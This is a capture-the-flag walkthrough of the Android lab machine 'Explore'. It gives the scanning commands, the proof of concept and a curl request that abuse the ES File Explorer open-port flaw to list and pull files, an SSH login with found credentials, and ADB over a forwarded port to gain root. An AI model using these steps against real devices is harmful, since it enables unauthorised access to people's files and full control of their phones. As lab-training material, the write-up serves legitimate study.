Synopsis
Explore is a fun Android box that has an Open Port Vulnerability because of a popular file manager application.
This box also has ADB over TCP/IP
open over port 5555
which leads to obtaining root
privileges.
Enumeration
Massscan
sudo masscan -p1-65535,U:1-65535 --rate=500 -e tun0 10.10.10.247
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2021-07-04 11:16:37 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 59777/tcp on 10.10.10.247
Discovered open port 42135/tcp on 10.10.10.247
Discovered open port 2222/tcp on 10.10.10.247
NMAP
sudo nmap -sC -sV -oN 10.10.10.247 10.10.10.247
# Nmap 7.80 scan initiated Sun Jul 4 11:16:11 2021 as: nmap -sC -sV -oN 10.10.10.247 10.10.10.247
Nmap scan report for 10.10.10.247
Host is up (0.19s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_ 2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.80%I=7%D=7/4%Time=60E19892%P=x86_64-pc-linux-gnu%r(NUL
SF:L,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 4 11:16:39 2021 -- 1 IP address (1 host up) scanned in 28.09 seconds
Hence open ports are: 59777
, 42135
, 2222
, 5555
Foothold
Open Port Vuln in popular app
We search for android port 59777
and we get Android file manager app exposing user data through open port as 1st result.
This post explains how a vulnerability in ES File Explorer
application exposes user data. The application starts an HTTP server every time the app is launched. This service runs on port 59777
The proof-of-concept is also listed on this post: ES File Explorer Open Port Vulnerability - CVE-2019-6447
https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
We run the poc.py
from the Github repo on our target.
We can see the /sdcard
is the starting directory, i.e. this is the user
’s home directory.
Here, actually /sdcard
is a symlink 1 to /storage/emulated/0
2
After inspecting how the PoC works, we can see that the poc.py
is POST
ing data/payload on port 59777
.
Using the PoC to get shell access
We can use the below command in the terminal to fetch and enumerate more stuff than we can via the PoC.
curl --header "Content-Type: application/json" --request POST \
--data '{"command":"listFiles"}' http://explore.htb:59777/sdcard
With the above command, we use listFiles
command to list the files in said directory.
We can see here that there is a user.txt
file, which we can download by using poc.py
python3 poc.py --get-file /sdcard/user.txt --ip explore.htb
Thus, we obtain the USER
flag!
We search more in /sdcard
directory, where we find an image named creds.jpg
at location /sdcard/DCIM/creds.jpg
which has the username
and password
mentioned.
username: kristi
pass: Kr1sT!5h@█████████!
We know that port 2222
has SSH running on it. So, we can try ssh
into the box with:
ssh -p 2222 kristi@explore.htb
And ✨ voila we get shell 🐚
Privilege Escalation
We try to escalate using su
to get a root shell, it doesn’t work!
We now scan for open ports 3
ss -tulwn | grep LISTEN
Of these one is 5555
which was reported by nmap
already.
It is popularly used for ADB over TCP/IP
.
ADB over TCP/IP is a feature added by custom ROM devs in the early days of Android, this later got picked up by Android’s (AOSP’s) codebase
Port Forwarding SSH traffic to access internal port
We now need to access port 5555
from the attacker box.
To do that we use SSH port forwarding.
For that we use 2 terminal instances:
In one terminal keep the following command running
ssh -p 2222 -L 5555:127.0.0.1:5555 -N kristi@explore.htb
What we do here is listen on port 5555
on the attacker box and forward that traffic to port 5555
to the target box.
We can now connect over port 5555
and get shell access.
adb connect 5555
adb shell
Obtaining root privileges
For getting root we try running su
4, and ✨ voila!
After searching for a while… we find root.txt
flag in /data
folder.